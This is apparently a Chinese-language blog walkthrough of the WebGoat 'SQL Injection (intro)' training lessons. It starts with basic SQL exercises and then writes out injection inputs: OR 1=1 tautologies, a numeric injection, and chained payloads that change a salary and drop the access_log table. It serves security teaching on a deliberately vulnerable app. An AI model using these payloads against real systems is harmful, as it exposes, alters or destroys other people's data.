WebGoat通关攻略之 SQL Injection (intro)

SQL Injection (intro)

1. What is SQL?

WebGoat通关攻略之 SQL Injection (intro)_第1张图片本题练习SQL查询语句,就是写一句SQL获取叫Bob Franco所在的department

SELECT department FROM employees WHERE first_name = 'Bob' AND last_name = 'Franco'

WebGoat通关攻略之 SQL Injection (intro)_第2张图片
成功通关!

2. Data Manipulation Language (DML)

WebGoat通关攻略之 SQL Injection (intro)_第3张图片
本题练习的是Update 修改数据,将Tobi Barnett的department改为‘Sales

UPDATE employees SET department = 'Sales' WHERE first_name = 'Tobi' AND last_name = 'Barnett'

WebGoat通关攻略之 SQL Injection (intro)_第4张图片
成功通关!

3. Data Definition Language (DDL)

WebGoat通关攻略之 SQL Injection (intro)_第5张图片
本题练习的是Alter 添加数据,在employees表中添加phone(varchar(20))列

ALTER TABLE employees ADD phone varchar(20)

WebGoat通关攻略之 SQL Injection (intro)_第6张图片
成功通关!

4. Data Control Language (DCL)

WebGoat通关攻略之 SQL Injection (intro)_第7张图片
本题练习的是数据控制语句,需要授予用户组 “UnauthorizedUser”更改表的权限,在这里,我们可以使用grant授权命令对该用户组进行授权

GRANT ALL PRIVILEGES ON grant_rights TO unauthorized_user;

WebGoat通关攻略之 SQL Injection (intro)_第8张图片
成功通关!

5. What is SQL injection?

WebGoat通关攻略之 SQL Injection (intro)_第9张图片
练习的是SQL注入
在这里插入图片描述

"SELECT * FROM users WHERE name = 'Smith' OR 1=1;--'";

6. Try It! String SQL injection

WebGoat通关攻略之 SQL Injection (intro)_第10张图片
字符串型SQL注入讲解,执行的SQL语句是:

SELECT * FROM use_data WHERE first_name='john' and lastname='Smith or 1=1'

上述SQL语句的意思是:从user_data表中,寻找first_name=‘john’,且last_name='Smith or 1=1’的全部数据,也就是在数据表中,满足条件的一行数据。其中,last_name的内容是由我们控制的。

看到能输入or 1=1,是不是应该有一种使"where"后面出现“xxx or 1=1”的冲动,因为“where xxx or 1=1”这句话,不就跟没得条件一样吗,1=1是恒成立,“xxx or 1=1”恒成立。

那么我们可以这样输入:
WebGoat通关攻略之 SQL Injection (intro)_第11张图片
如此填写之后,要执行的SQL语句,就会变成这样:
在这里插入图片描述
红框中的内容都变成了字符串,那么SQL语句就变成了:

SELECT * FROM use_data WHERE first_name=‘XXX’ or ‘1’='1’这种形式,也就是where后面相当于没条件了。提交数据,可以看到:
WebGoat通关攻略之 SQL Injection (intro)_第12张图片
成功通关!

7. Try It! Numeric SQL injection

WebGoat通关攻略之 SQL Injection (intro)_第13张图片
本题目练习的是数字SQL注入,给SQL语句"SELECT * FROM user_data WHERE login_count = " + Login_Count + " AND userid = " + User_ID;构建一个动态查询,分析SQL语句,以及实验可知,本题的注入点在user_id

原因:本题使用了SQL预编译语句,但是只对Login_Count做了防护,User_Id还是直接带入参数值,因此只能使用user_id作为注入点组成SQL语句。

SELECT * From user_data WHERE Login_Count = 1 and userid= 1 or 1 = 1

WebGoat通关攻略之 SQL Injection (intro)_第14张图片
成功通关!

8. Compromising confidentiality with String SQL injection

WebGoat通关攻略之 SQL Injection (intro)_第15张图片
本题练习的是使用String SQL注入破坏机密性,从employee表中检索所有雇员数据

Employee Name:Smith
Authentication TAN:3SL99A' OR 1=1;--

WebGoat通关攻略之 SQL Injection (intro)_第16张图片
成功通关!

9. Compromising Integrity with Query chaining

WebGoat通关攻略之 SQL Injection (intro)_第17张图片
本题练习的是使用查询链接损害完整性,利用查询链(分号;)破坏数据完整性,也就是修改非授权数据。两个框都可以是注入点

Employee Name:Smith
Authentication TAN:3SL99A' OR 1=1;UPDATE employees SET SALARY = 90000 WHERE LAST_NAME = 'Smith';--

WebGoat通关攻略之 SQL Injection (intro)_第18张图片
成功通关!

10. Compromising Availability

WebGoat通关攻略之 SQL Injection (intro)_第19张图片
本题要利用字符型注入来破坏可用性,也就是让原本被授权的人无法读取或操作某些文件。要求把表access_log删除,因此用DROP TABLE关键字进行操作即可

我们可以先SELECT一下查看表中都有什么:
WebGoat通关攻略之 SQL Injection (intro)_第20张图片

3SL99A' OR 1=1;DROP TABLE access_log;--

在这里插入图片描述
成功通关!

你可能感兴趣的:(WebGoat,WebGoat)